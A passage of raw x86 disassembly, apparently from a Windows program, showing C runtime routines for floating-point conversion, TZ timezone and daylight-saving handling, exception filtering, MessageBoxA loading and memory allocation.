loc_42436E: ; CODE XREF: sub_4242F3+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_424375: ; CODE XREF: sub_4242F3+79j dec ebx sub ecx, 4 jns short loc_42435B pop edi pop esi pop ebx leave retn sub_4242F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424380 proc near ; CODE XREF: sub_4244EC+Dp ; sub_424502+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_4243ED lea eax, [ebp+var_C] xor esi, esi push eax call sub_4242D8 test eax, eax pop ecx jnz loc_4244AC lea eax, [ebp+var_C] push eax call sub_4242CC pop ecx loc_4243E5: ; CODE XREF: sub_424380+E4j push 2 loc_4243E7: ; CODE XREF: sub_424380+110j pop eax jmp loc_4244AE ; --------------------------------------------------------------------------- loc_4243ED: ; CODE XREF: sub_424380+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_4242B1 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424225 add esp, 10h test eax, eax jz short loc_42440E inc ebx loc_42440E: ; CODE XREF: sub_424380+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_424426 lea eax, [ebp+var_C] push eax call sub_4242CC pop ecx jmp short loc_424462 ; --------------------------------------------------------------------------- loc_424426: ; CODE XREF: sub_424380+98j cmp ebx, eax jg short loc_424469 sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_4242B1 lea eax, [ebp+var_C] push esi push eax call sub_4242F3 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424225 mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_4242F3 add esp, 20h loc_424462: ; CODE XREF: sub_424380+A4j xor esi, esi jmp loc_4243E5 ; --------------------------------------------------------------------------- loc_424469: ; CODE XREF: sub_424380+A8j cmp ebx, [edi] jl short loc_424495 lea eax, [ebp+var_C] push eax call sub_4242CC push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_4242F3 mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_4243E7 ; --------------------------------------------------------------------------- loc_424495: ; CODE XREF: sub_424380+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_4242F3 pop ecx pop ecx loc_4244AC: ; CODE XREF: sub_424380+55j xor eax, eax loc_4244AE: ; CODE XREF: sub_424380+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_4244DD mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_4244E7 ; --------------------------------------------------------------------------- loc_4244DD: ; CODE XREF: sub_424380+14Ej cmp edi, 20h jnz short loc_4244E7 mov ecx, [ebp+arg_4] mov [ecx], esi loc_4244E7: ; CODE XREF: sub_424380+15Bj ; sub_424380+160j pop edi pop esi pop ebx leave retn sub_424380 endp ; =============== S U B R O U T I N E ======================================= sub_4244EC proc near ; CODE XREF: sub_424518+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43CCA8 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424380 add esp, 0Ch retn sub_4244EC endp ; =============== S U B R O U T I N E ======================================= sub_424502 proc near ; CODE XREF: sub_424545+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43CCC0 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424380 add esp, 0Ch retn sub_424502 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424518 proc near ; CODE XREF: sub_42199B+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4251F1 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_4244EC add esp, 24h leave retn sub_424518 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424545 proc near ; CODE XREF: sub_42199B+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4251F1 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_424502 add esp, 24h leave retn sub_424545 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424572 proc near ; CODE XREF: sub_4219D9+65p ; sub_421ADD+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_4245AF mov [ebp+arg_0], ebx xor ebx, ebx loc_424595: ; CODE XREF: sub_424572+38j mov dl, [ecx] test dl, dl jz short loc_4245A1 movsx edx, dl inc ecx jmp short loc_4245A4 ; --------------------------------------------------------------------------- loc_4245A1: ; CODE XREF: sub_424572+27j push 30h pop edx loc_4245A4: ; CODE XREF: sub_424572+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_424595 mov edx, [ebp+arg_8] loc_4245AF: ; CODE XREF: sub_424572+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_4245C8 cmp byte ptr [ecx], 35h jl short loc_4245C8 loc_4245BB: ; CODE XREF: sub_424572+52j dec eax cmp byte ptr [eax], 39h jnz short loc_4245C6 mov byte ptr [eax], 30h jmp short loc_4245BB ; --------------------------------------------------------------------------- loc_4245C6: ; CODE XREF: sub_424572+4Dj inc byte ptr [eax] loc_4245C8: ; CODE XREF: sub_424572+42j ; sub_424572+47j cmp byte ptr [esi], 31h jnz short loc_4245D2 inc dword ptr [edx+4] jmp short loc_4245E4 ; --------------------------------------------------------------------------- loc_4245D2: ; CODE XREF: sub_424572+59j push edi call sub_41AFE0 inc eax push eax push edi push esi call sub_41CC90 add esp, 10h loc_4245E4: ; CODE XREF: sub_424572+5Ej pop edi pop esi pop ebx pop ebp retn sub_424572 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4245E9 proc near ; CODE XREF: sub_4219D9+3Fp ; sub_421ADD+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_42464D pop ecx lea esi, [ebp+var_C] pop ecx push offset word_4DB4A0 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_4256C2 mov dword_4DB4C8, eax add esp, 18h movsx eax, byte_4DB4A2 mov dword_4DB4C0, eax pop edi movsx eax, word_4DB4A0 mov dword_4DB4C4, eax mov dword_4DB4CC, offset dword_4DB4A4 mov eax, offset dword_4DB4C0 pop esi leave retn sub_4245E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42464D proc near ; CODE XREF: sub_4245E9+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_42469B cmp ebx, edi jz short loc_424694 lea edi, [ecx+3C00h] jmp short loc_4246BC ; --------------------------------------------------------------------------- loc_424694: ; CODE XREF: sub_42464D+3Dj mov edi, 7FFFh jmp short loc_4246BC ; --------------------------------------------------------------------------- loc_42469B: ; CODE XREF: sub_42464D+39j xor ebx, ebx cmp eax, ebx jnz short loc_4246B3 cmp edx, ebx jnz short loc_4246B3 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_4246FE ; --------------------------------------------------------------------------- loc_4246B3: ; CODE XREF: sub_42464D+52j ; sub_42464D+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_4246BC: ; CODE XREF: sub_42464D+45j ; sub_42464D+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_4246D4: ; CODE XREF: sub_42464D+A6j test ecx, esi jnz short loc_4246F5 mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_4246D4 ; --------------------------------------------------------------------------- loc_4246F5: ; CODE XREF: sub_42464D+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_4246FE: ; CODE XREF: sub_42464D+64j pop edi pop esi pop ebx leave retn sub_42464D endp ; --------------------------------------------------------------------------- push 2 call sub_41DA29 pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_42470C proc near ; DATA XREF: ___:0043C8E8o ; ___:0043D148o arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_42472F cmp dword ptr [eax+10h], 3 jnz short loc_42472F cmp dword ptr [eax+14h], 19930520h jnz short loc_42472F jmp sub_42255C ; --------------------------------------------------------------------------- loc_42472F: ; CODE XREF: sub_42470C+Dj ; sub_42470C+13j ... mov eax, dword_4DB4D0 test eax, eax jz short loc_42474C push eax call sub_4247A8 test eax, eax pop ecx jz short loc_42474C push esi call dword_4DB4D0 jmp short loc_42474E ; --------------------------------------------------------------------------- loc_42474C: ; CODE XREF: sub_42470C+2Aj ; sub_42470C+35j xor eax, eax loc_42474E: ; CODE XREF: sub_42470C+3Ej pop esi retn 4 sub_42470C endp ; --------------------------------------------------------------------------- word_424752 dw 0C68h ; DATA XREF: ___:00429028o ; --------------------------------------------------------------------------- inc edi inc edx add [eax+1DC760E8h], dl add ah, byte ptr dword_4DB4D0[ebx] retn ; --------------------------------------------------------------------------- byte_424763 db 0FFh ; DATA XREF: ___:00429040o dd 4DB4D035h, 0C74FE800h, 0C390021Dh ; =============== S U B R O U T I N E ======================================= sub_424770 proc near ; CODE XREF: sub_421DB1+6Bp ; sub_4222C2+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] nop call near ptr 2600AAEh test eax, eax jz short loc_424788 xor esi, esi loc_424788: ; CODE XREF: sub_424770+14j mov eax, esi pop esi retn sub_424770 endp ; =============== S U B R O U T I N E ======================================= sub_42478C proc near ; CODE XREF: sub_4222C2+73p ; sub_4222C2+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call near ptr 28D078Eh nop test eax, eax jz short loc_4247A4 xor esi, esi loc_4247A4: ; CODE XREF: sub_42478C+14j mov eax, esi pop esi retn sub_42478C endp ; =============== S U B R O U T I N E ======================================= sub_4247A8 proc near ; CODE XREF: sub_4222C2+15Bp ; sub_42470C+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] call near ptr 26009FAh nop test eax, eax jz short loc_4247BC xor esi, esi loc_4247BC: ; CODE XREF: sub_4247A8+10j mov eax, esi pop esi retn sub_4247A8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42255C loc_4247C0: ; CODE XREF: sub_42255C:loc_4225ADj push 0Ah call sub_4235C9 push 16h call sub_425955 pop ecx pop ecx push 3 call sub_41B7C2 ; END OF FUNCTION CHUNK FOR sub_42255C ; =============== S U B R O U T I N E ======================================= sub_4247D7 proc near ; CODE XREF: sub_422669:loc_4226A8p cmp dword_4DB590, 0 jnz short locret_4247EB call sub_4247EC inc dword_4DB590 locret_4247EB: ; CODE XREF: sub_4247D7+7j retn sub_4247D7 endp ; =============== S U B R O U T I N E ======================================= sub_4247EC proc near ; CODE XREF: sub_4247D7+9p var_4 = dword ptr -4 push ecx push ebx push ebp push esi push edi xor ebp, ebp or ebx, 0FFFFFFFFh push offset aTz ; "TZ" xor edi, edi mov dword_4DB4D8, ebp mov dword_43CD80, ebx mov dword_43CD70, ebx call sub_425AC7 mov esi, eax pop ecx cmp esi, ebp jnz loc_424915 push offset dword_4DB4E0 nop call near ptr 2890000h cmp eax, ebx jz loc_424A44 mov eax, dword_4DB4E0 mov ecx, dword_4DB534 imul eax, 3Ch cmp word_4DB526, bp push 1 pop edx mov dword_43CCD8, eax mov dword_4DB4D8, edx jz short loc_424863 mov esi, ecx imul esi, 3Ch add eax, esi mov dword_43CCD8, eax loc_424863: ; CODE XREF: sub_4247EC+69j cmp word_4DB57A, bp jz short loc_424887 mov eax, dword_4DB588 cmp eax, ebp jz short loc_424887 sub eax, ecx mov dword_43CCDC, edx imul eax, 3Ch mov dword_43CCE0, eax jmp short loc_424893 ; --------------------------------------------------------------------------- loc_424887: ; CODE XREF: sub_4247EC+7Ej ; sub_4247EC+87j mov dword_43CCDC, ebp mov dword_43CCE0, ebp loc_424893: ; CODE XREF: sub_4247EC+99j lea eax, [esp+14h+var_4] mov esi, dword_42717C push eax push ebp push 3Fh mov edi, 220h push off_43CD64 push ebx push offset dword_4DB4E4 push edi push dword_4DB374 call esi test eax, eax jz short loc_4248D0 cmp [esp+14h+var_4], ebp jnz short loc_4248D0 mov eax, off_43CD64 and byte ptr [eax+3Fh], 0 jmp short loc_4248D8 ; --------------------------------------------------------------------------- loc_4248D0: ; CODE XREF: sub_4247EC+D1j ; sub_4247EC+D7j mov eax, off_43CD64 and byte ptr [eax], 0 loc_4248D8: ; CODE XREF: sub_4247EC+E2j lea eax, [esp+14h+var_4] push eax push ebp push 3Fh push off_43CD68 push ebx push offset dword_4DB538 push edi push dword_4DB374 call esi test eax, eax jz loc_424A3C cmp [esp+14h+var_4], ebp jnz loc_424A3C mov eax, off_43CD68 and byte ptr [eax+3Fh], 0 jmp loc_424A44 ; --------------------------------------------------------------------------- loc_424915: ; CODE XREF: sub_4247EC+2Dj cmp byte ptr [esi], 0 jz loc_424A44 mov eax, dword_4DB58C cmp eax, ebp jz short loc_424938 push eax push esi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_424A44 loc_424938: ; CODE XREF: sub_4247EC+139j push dword_4DB58C call sub_41B0B1 push esi call sub_41AFE0 inc eax push eax call sub_41B4D5 add esp, 0Ch cmp eax, ebp mov dword_4DB58C, eax jz loc_424A44 push esi push eax call sub_41BEB0 push 3 push esi push off_43CD64 call sub_41B5F0 mov eax, off_43CD64 add esi, 3 add esp, 14h and byte ptr [eax+3], 0 cmp byte ptr [esi], 2Dh jnz short loc_42498D push 1 inc esi pop edi loc_42498D: ; CODE XREF: sub_4247EC+19Bj push esi call sub_41B6EE pop ecx mov bl, 30h mov ecx, eax imul ecx, 0E10h mov dword_43CCD8, ecx loc_4249A4: ; CODE XREF: sub_4247EC+1C7j mov al, [esi] cmp al, 2Bh jz short loc_4249B2 cmp al, bl jl short loc_4249B5 cmp al, 39h jg short loc_4249B5 loc_4249B2: ; CODE XREF: sub_4247EC+1BCj inc esi jmp short loc_4249A4 ; --------------------------------------------------------------------------- loc_4249B5: ; CODE XREF: sub_4247EC+1C0j ; sub_4247EC+1C4j cmp byte ptr [esi], 3Ah jnz short loc_424A08 inc esi push esi call sub_41B6EE imul eax, 3Ch pop ecx mov ecx, dword_43CCD8 add ecx, eax mov dword_43CCD8, ecx loc_4249D3: ; CODE XREF: sub_4247EC+1F2j mov al, [esi] cmp al, bl jl short loc_4249E0 cmp al, 39h jg short loc_4249E0 inc esi jmp short loc_4249D3 ; --------------------------------------------------------------------------- loc_4249E0: ; CODE XREF: sub_4247EC+1EBj ; sub_4247EC+1EFj cmp byte ptr [esi], 3Ah jnz short loc_424A08 inc esi push esi call sub_41B6EE pop ecx mov ecx, dword_43CCD8 add ecx, eax mov dword_43CCD8, ecx loc_4249FB: ; CODE XREF: sub_4247EC+21Aj mov al, [esi] cmp al, bl jl short loc_424A08 cmp al, 39h jg short loc_424A08 inc esi jmp short loc_4249FB ; --------------------------------------------------------------------------- loc_424A08: ; CODE XREF: sub_4247EC+1CCj ; sub_4247EC+1F7j ... cmp edi, ebp jz short loc_424A14 neg ecx mov dword_43CCD8, ecx loc_424A14: ; CODE XREF: sub_4247EC+21Ej movsx eax, byte ptr [esi] cmp eax, ebp mov dword_43CCDC, eax jz short loc_424A3C push 3 push esi push off_43CD68 call sub_41B5F0 mov eax, off_43CD68 add esp, 0Ch and byte ptr [eax+3], 0 jmp short loc_424A44 ; --------------------------------------------------------------------------- loc_424A3C: ; CODE XREF: sub_4247EC+10Bj ; sub_4247EC+115j ... mov eax, off_43CD68 and byte ptr [eax], 0 loc_424A44: ; CODE XREF: sub_4247EC+40j ; sub_4247EC+124j ... pop edi pop esi pop ebp pop ebx pop ecx retn sub_4247EC endp ; =============== S U B R O U T I N E ======================================= sub_424A4A proc near ; CODE XREF: sub_422669+A5p arg_0 = dword ptr 4 push ebx push esi push edi xor edi, edi cmp dword_43CCDC, edi jnz short loc_424A5E loc_424A57: ; CODE XREF: sub_424A4A+148j ; sub_424A4A+150j ... xor eax, eax jmp loc_424BAA ; --------------------------------------------------------------------------- loc_424A5E: ; CODE XREF: sub_424A4A+Bj mov esi, [esp+0Ch+arg_0] push 1 pop ebx mov eax, [esi+14h] cmp eax, dword_43CD70 jnz short loc_424A7C cmp eax, dword_43CD80 jz loc_424B7E loc_424A7C: ; CODE XREF: sub_424A4A+24j cmp dword_4DB4D8, edi jz loc_424B54 movzx ecx, word_4DB586 push ecx cmp word_4DB578, di movzx ecx, word_4DB584 push ecx movzx ecx, word_4DB582 push ecx movzx ecx, word_4DB580 push ecx jnz short loc_424ACE movzx ecx, word_4DB57C push edi push ecx movzx ecx, word_4DB57E push ecx movzx ecx, word_4DB57A push ecx push eax push ebx jmp short loc_424AE2 ; --------------------------------------------------------------------------- loc_424ACE: ; CODE XREF: sub_424A4A+65j movzx ecx, word_4DB57E push ecx push edi movzx ecx, word_4DB57A push edi push ecx push eax push edi loc_424AE2: ; CODE XREF: sub_424A4A+82j push ebx call sub_424BF6 movzx eax, word_4DB532 add esp, 2Ch cmp word_4DB524, di push eax movzx eax, word_4DB530 push eax movzx eax, word_4DB52E push eax movzx eax, word_4DB52C push eax jnz short loc_424B3C movzx eax, word_4DB528 push edi push eax movzx eax, word_4DB52A push eax movzx eax, word_4DB526 push eax push dword ptr [esi+14h] push ebx loc_424B31: ; CODE XREF: sub_424A4A+108j push edi call sub_424BF6 add esp, 2Ch jmp short loc_424B7E ; --------------------------------------------------------------------------- loc_424B3C: ; CODE XREF: sub_424A4A+C8j movzx eax, word_4DB52A push eax push edi movzx eax, word_4DB526 push edi push eax push dword ptr [esi+14h] push edi jmp short loc_424B31 ; --------------------------------------------------------------------------- loc_424B54: ; CODE XREF: sub_424A4A+38j push edi push edi push edi push 2 push edi push edi push ebx push 4 push eax push ebx push ebx call sub_424BF6 push edi push edi push edi push 2 push edi push edi push 5 push 0Ah push dword ptr [esi+14h] push ebx push edi call sub_424BF6 add esp, 58h loc_424B7E: ; CODE XREF: sub_424A4A+2Cj ; sub_424A4A+F0j mov edx, dword_43CD74 mov eax, dword_43CD84 mov ecx, [esi+1Ch] cmp edx, eax jge short loc_424BAE cmp ecx, edx jl loc_424A57 cmp ecx, eax jg loc_424A57 cmp ecx, edx jle short loc_424BC2 cmp ecx, eax jge short loc_424BC2 loc_424BA8: ; CODE XREF: sub_424A4A+166j ; sub_424A4A+16Aj mov eax, ebx loc_424BAA: ; CODE XREF: sub_424A4A+Fj ; sub_424A4A+19Dj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424BAE: ; CODE XREF: sub_424A4A+144j cmp ecx, eax jl short loc_424BA8 cmp ecx, edx jg short loc_424BA8 cmp ecx, eax jle short loc_424BC2 cmp ecx, edx jl loc_424A57 loc_424BC2: ; CODE XREF: sub_424A4A+158j ; sub_424A4A+15Cj ... mov eax, [esi+8] imul eax, 3Ch add eax, [esi+4] imul eax, 3Ch add eax, [esi] imul eax, 3E8h cmp ecx, edx jnz short loc_424BE9 xor ecx, ecx cmp eax, dword_43CD78 setnl cl loc_424BE5: ; CODE XREF: sub_424A4A+1AAj mov eax, ecx jmp short loc_424BAA ; --------------------------------------------------------------------------- loc_424BE9: ; CODE XREF: sub_424A4A+18Ej xor ecx, ecx cmp eax, dword_43CD88 setl cl jmp short loc_424BE5 sub_424A4A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424BF6 proc near ; CODE XREF: sub_424A4A+99p ; sub_424A4A+E8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp cmp [ebp+arg_4], 1 push ebx mov ebx, [ebp+arg_8] push esi jnz loc_424C91 mov eax, [ebp+arg_C] mov [ebp+arg_8], ebx and [ebp+arg_8], 3 mov esi, eax jnz short loc_424C21 shl esi, 2 mov eax, dword_43CD88[esi] jmp short loc_424C2A ; --------------------------------------------------------------------------- loc_424C21: ; CODE XREF: sub_424BF6+1Ej shl esi, 2 mov eax, dword_43CDBC[esi] loc_424C2A: ; CODE XREF: sub_424BF6+29j mov edx, ebx lea ecx, [eax+1] imul edx, 16Dh lea eax, [ebx-1] push edi sar eax, 2 mov edi, ecx push 7 add edi, eax lea eax, [edx+edi-63DBh] pop edi cdq idiv edi mov eax, [ebp+arg_10] pop edi cmp edx, [ebp+arg_14] jg short loc_424C64 imul eax, 7 sub eax, edx add eax, [ebp+arg_14] lea ecx, [ecx+eax-7] jmp short loc_424C6E ; --------------------------------------------------------------------------- loc_424C64: ; CODE XREF: sub_424BF6+5Ej imul eax, 7 sub eax, edx add eax, [ebp+arg_14] add ecx, eax loc_424C6E: ; CODE XREF: sub_424BF6+6Cj cmp [ebp+arg_10], 5 jnz short loc_424CAC cmp [ebp+arg_8], 0 jnz short loc_424C82 mov esi, dword_43CD8C[esi] jmp short loc_424C88 ; --------------------------------------------------------------------------- loc_424C82: ; CODE XREF: sub_424BF6+82j mov esi, dword_43CDC0[esi] loc_424C88: ; CODE XREF: sub_424BF6+8Aj cmp ecx, esi jle short loc_424CAC sub ecx, 7 jmp short loc_424CAC ; --------------------------------------------------------------------------- loc_424C91: ; CODE XREF: sub_424BF6+Cj mov eax, [ebp+arg_C] test bl, 3 jnz short loc_424CA2 mov ecx, dword_43CD88[eax*4] jmp short loc_424CA9 ; --------------------------------------------------------------------------- loc_424CA2: ; CODE XREF: sub_424BF6+A1j mov ecx, dword_43CDBC[eax*4] loc_424CA9: ; CODE XREF: sub_424BF6+AAj add ecx, [ebp+arg_18] loc_424CAC: ; CODE XREF: sub_424BF6+7Cj ; sub_424BF6+94j ... cmp [ebp+arg_0], 1 jnz short loc_424CDD mov eax, [ebp+arg_1C] mov dword_43CD74, ecx imul eax, 3Ch add eax, [ebp+arg_20] mov dword_43CD70, ebx imul eax, 3Ch add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43CD78, eax jmp short loc_424D32 ; --------------------------------------------------------------------------- loc_424CDD: ; CODE XREF: sub_424BF6+BAj mov eax, [ebp+arg_1C] mov dword_43CD84, ecx imul eax, 3Ch add eax, [ebp+arg_20] imul eax, 3Ch add eax, dword_43CCE0 add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43CD88, eax jns short loc_424D15 add eax, 5265C00h dec ecx mov dword_43CD88, eax jmp short loc_424D26 ; --------------------------------------------------------------------------- loc_424D15: ; CODE XREF: sub_424BF6+110j mov edx, 5265C00h cmp eax, edx jl short loc_424D2C sub eax, edx inc ecx mov dword_43CD88, eax loc_424D26: ; CODE XREF: sub_424BF6+11Dj mov dword_43CD84, ecx loc_424D2C: ; CODE XREF: sub_424BF6+126j mov dword_43CD80, ebx loc_424D32: ; CODE XREF: sub_424BF6+E5j pop esi pop ebx pop ebp retn sub_424BF6 endp ; =============== S U B R O U T I N E ======================================= sub_424D36 proc near ; CODE XREF: ___:00422E9Dp arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_424D47 add esp, 0Ch retn sub_424D36 endp ; =============== S U B R O U T I N E ======================================= sub_424D47 proc near ; CODE XREF: sub_424D36+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_4DC821[eax], cl jnz short loc_424D74 cmp [esp+arg_4], 0 jz short loc_424D6D movzx eax, word_43C332[eax*2] and eax, [esp+arg_4] jmp short loc_424D6F ; --------------------------------------------------------------------------- loc_424D6D: ; CODE XREF: sub_424D47+16j xor eax, eax loc_424D6F: ; CODE XREF: sub_424D47+24j test eax, eax jnz short loc_424D74 retn ; --------------------------------------------------------------------------- loc_424D74: ; CODE XREF: sub_424D47+Fj ; sub_424D47+2Aj push 1 pop eax retn sub_424D47 endp ; =============== S U B R O U T I N E ======================================= sub_424D78 proc near ; CODE XREF: sub_4235C9+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_4DB594, ebx push esi push edi jnz short loc_424DC7 push offset aUser32_dll ; "user32.dll" nop call near ptr 26A0D09h mov edi, eax cmp edi, ebx jz short loc_424DFD mov esi, dword_4270BC push offset aMessageboxa ; "MessageBoxA" push edi call esi test eax, eax mov dword_4DB594, eax jz short loc_424DFD push offset aGetactivewindo ; "GetActiveWindow" push edi call esi push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_4DB598, eax call esi mov dword_4DB59C, eax loc_424DC7: ; CODE XREF: sub_424D78+Bj mov eax, dword_4DB598 test eax, eax jz short loc_424DE6 call eax mov ebx, eax test ebx, ebx jz short loc_424DE6 mov eax, dword_4DB59C test eax, eax jz short loc_424DE6 push ebx call eax mov ebx, eax loc_424DE6: ; CODE XREF: sub_424D78+56j ; sub_424D78+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_4DB594 loc_424DF9: ; CODE XREF: sub_424D78+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424DFD: ; CODE XREF: sub_424D78+1Cj ; sub_424D78+33j xor eax, eax jmp short loc_424DF9 sub_424D78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424E01 proc near ; CODE XREF: sub_423936+22p ; sub_423936+3Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] imul esi, [ebp+arg_4] cmp esi, 0FFFFFFE0h push edi mov [ebp+arg_0], esi ja short loc_424E22 test esi, esi jnz short loc_424E1C push 1 pop esi loc_424E1C: ; CODE XREF: sub_424E01+16j add esi, 0Fh and esi, 0FFFFFFF0h loc_424E22: ; CODE XREF: sub_424E01+12j ; sub_424E01+94j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_424E81 mov eax, dword_4DC948 cmp eax, 3 jnz short loc_424E4D mov eax, [ebp+arg_0] cmp eax, dword_4DC940 ja short loc_424E6C push eax call sub_41E1CB mov edi, eax pop ecx test edi, edi jnz short loc_424E97 jmp short loc_424E6C ; --------------------------------------------------------------------------- loc_424E4D: ; CODE XREF: sub_424E01+30j cmp eax, 2 jnz short loc_424E6C cmp esi, dword_43C324 ja short loc_424E6C mov eax, esi shr eax, 4 push eax call sub_41EC6E mov edi, eax pop ecx test edi, edi jnz short loc_424EAB loc_424E6C: ; CODE XREF: sub_424E01+3Bj ; sub_424E01+4Aj ... push esi push 8 push dword_4DC944 nop call near ptr 27D0000h mov edi, eax test edi, edi jnz short loc_424EA5 loc_424E81: ; CODE XREF: sub_424E01+26j cmp dword_4DB32C, 0 jz short loc_424EA5 push esi call sub_41F312 test eax, eax pop ecx jz short loc_424EAE jmp short loc_424E22 ; --------------------------------------------------------------------------- loc_424E97: ; CODE XREF: sub_424E01+48j push [ebp+arg_0] loc_424E9A: ; CODE XREF: sub_424E01+ABj push 0 push edi call sub_41B590 add esp, 0Ch loc_424EA5: ; CODE 